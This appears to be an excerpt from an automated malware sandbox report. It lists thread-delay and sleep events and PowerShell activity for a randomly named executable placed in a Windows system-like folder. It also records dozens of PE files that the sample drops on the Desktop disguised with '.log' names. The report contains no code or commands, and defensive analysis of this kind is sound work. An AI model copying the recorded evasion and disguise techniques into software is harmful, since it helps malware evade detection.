Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 594234
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 593859
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 593516
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 593172
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 592859
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 592437
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 592172
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 591781
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 591437
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 591109
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 590640
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 590422
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 590094
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 589562
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 589109
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 588719
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 588266
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 587750
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 587250
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 586672
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 586250
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 585922
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 585469
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 585062
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 584547
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 584171
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 583969
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 583772
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 583564
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 583406
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 583231
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 583050
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 582859
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 582703
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 582536
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 582380
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 582094
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 300000
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 580047
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 579762
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 579547
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 579344
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 579156
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 578969
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 578810
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 578609
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 578406
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 578226
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 578085
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 577937
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 577734
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 577566
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 577406
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 577219
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 577031
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 576797
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 576594
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 576404
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 576219
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 575968
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 575828
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 575656
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 575437
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 575223
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 575094
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 574984
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 574866
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 574731
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 574622
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 574514
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 574406
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 574297
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 574187
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 574077
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 573954
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 573810
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 573683
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 573531
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 573418
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 573299
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 573172
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 573062
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 572953
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 572841
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Thread delayed: delay time: 572734

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1889	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1979	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2448	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2065	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2652
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Window / User API: threadDelayed 5162
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Window / User API: threadDelayed 4168

Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\eFdBcvYu.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\KySWwqSG.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\iDXAsssK.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\UnQDGoMO.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\wiMZKnmL.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\DSloixRU.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\bXqTeyrX.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\aOmKVzXA.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\owAZVXxy.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\hMaKxNSp.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\nnwRMYdb.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\XgzcXCre.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\HFjxfdnr.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\NyMWIIsf.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\fTLbMRgr.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\JCfvgtvD.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\AZWFwAgV.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\uodzyDCn.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\hPTsHewM.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\CVKgMxCZ.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\jsvAFsni.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\DYQGISGu.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\OvoeeIHa.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\lCRBFKSi.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\RoXDuWmq.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\AhGYbjHb.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\ssViDqmS.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\AHvxDOtC.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\hGwsXsdP.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\dZcBAhwS.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\TlyLQWBk.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\OygMnZlw.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\WjYUBCcj.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\zZCPRjnE.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\TcbLgjio.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rqDqMXbo.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\ajmLslvZ.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\wlEHTDRh.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\ICLFBdCl.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rhfqclHr.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\qZchTloU.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\uuIRZZqN.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\YVXcjCmC.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\wacGgDMF.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\lFJjObwF.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\WKOtegOK.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\GOHxPPGn.log	Jump to dropped file
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\LvueRqhB.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\luhiabrd.log	Jump to dropped file
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\CKigYxxx.log	Jump to dropped file

Source: C:\Users\user\Desktop\fDTPlvsGfH.exe TID: 6424	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7284	Thread sleep count: 1889 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7576	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7448	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7276	Thread sleep count: 1979 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7584	Thread sleep time: -16602069666338586s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7512	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7336	Thread sleep count: 2448 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7580	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7500	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7392	Thread sleep count: 2065 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7592	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7480	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7324	Thread sleep count: 2652 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7588	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7288	Thread sleep count: 94 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7184	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 7748	Thread sleep time: -30000s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -16602069666338586s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -600000s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -599871s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -599765s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -599655s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -598696s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8040	Thread sleep time: -43200000s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -598586s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -598125s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -597500s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -596828s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -596344s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -595891s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -595406s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -595109s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -594781s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -594516s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -594234s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -593859s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -593516s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -593172s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -592859s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -592437s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -592172s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -591781s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -591437s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -591109s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -590640s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -590422s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -590094s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -589562s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -589109s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -588719s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -588266s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -587750s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -587250s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -586672s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -586250s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -585922s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -585469s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -585062s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -584547s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -584171s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -583969s >= -30000s
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe TID: 8056	Thread sleep time: -583772s >= -30000s
